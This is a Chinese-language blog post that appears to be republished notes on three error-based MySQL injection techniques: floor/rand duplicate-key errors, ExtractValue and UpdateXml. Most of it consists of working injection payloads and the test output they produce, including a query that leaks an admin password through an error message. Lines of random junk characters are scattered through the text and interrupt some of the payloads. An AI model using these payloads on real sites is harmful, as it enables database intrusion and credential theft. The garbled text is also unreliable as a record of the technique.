关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
​
) \1 r6 h5 q0 w% r
mysql> show tables;
0 b. G6 \5 w+ {* s  K& v- {0 P+----------------+
| Tables_in_test |
+----------------+
( Y: G. r3 D( p8 @6 g$ T5 A" P2 O| admin          |
2 O: D$ c3 [5 G9 u  Z! A| article        |
+----------------+
8 a! L- e8 o7 [, E
7 M9 y9 \3 O0 I4 ?( @
" e7 {, {% q3 M+ E$ n2 B) K" {
mysql> describe admin;
6 N# i9 R. K# \& V% `+-------+------------------+------+-----+---------+----------------+
4 K* a8 u) j" n  E| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
$ w1 `4 y9 V  ~| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
  Y% }/ _* Q  y# P/ O% u! L| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
% d* A( Q3 X& k2 H8 {' e3 o  ]# a

4 {  y7 U! I! r2 z) U
mysql> describe article;
7 M& O9 u2 X+ E' s1 _- g+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
# ?7 ~1 w! W9 P  H. r1 j| content | varchar(50)      | NO   |     | NULL    |                |
: n0 p8 T7 f; X  f+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码

; ?# @& F7 v. L" k
" Z* g& g1 F  }: T' Sand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
1 b* j' g' D5 ]7 l! @from information_schema.tables group by x)a);


, g6 Q" f7 _% D( y0 H! oand (select count(*) from (select 1 union select null union select !1)x
* [; G: b+ s. W3 Pgroup by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
# Y: ]1 L! k- T" @% E5 M: J+----+-------+---------+
| id | title | content |
+----+-------+---------+
: Q& a# Z' S5 d3 I|  1 | test  | do it   |
+----+-------+---------+
- ~# ^& D$ J. Q$ T" k- C9 _假如id输入存在注入的话，可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
* w* h- K: V% q$ t; iERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
$ F& H, m) F$ |0 k& s例如我们需要查询管理员用户名和密码：
Method1:

  [6 e$ g+ j8 I! _' ^
mysql> select * from article where id = 1 and (select 1 from
( |$ r' {0 p0 E6 p) j(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
# u$ D/ @3 u, {: ZERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
$ m5 }  d, o3 Q( _$ O4 [1 WMethod2:
: v2 T6 \1 F* V# J1 g
, a2 G" O+ n. s  l; z7 w
mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
. L6 @2 K5 V5 P1 ]4 B& aERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
; `) i# k& j2 ?4 B2 e+ z4 B6 G2、ExtractValue
  o. L, f' B/ o# G6 ]测试语句如下
9 e: |  m3 ]$ f# K: y

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
, {. {) q" W0 r' a" N( r

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
: P! h2 Q/ |  j+ Q8 Z) H(select pass from admin limit 1)));--
6 f1 K' ?- f3 R0 V0 t8 m3 q" X. }ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
0 @' {4 |0 X  a  M测试语句
  Q8 `3 r* g! a# ]
: b: B" ]9 C; h# X2 T
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
: P5 _) L! M! @  d' w# h* z

9 D1 P, y0 y' Bmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
- w: T* m9 Q/ n6 n! [; z7 b; a* BERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

​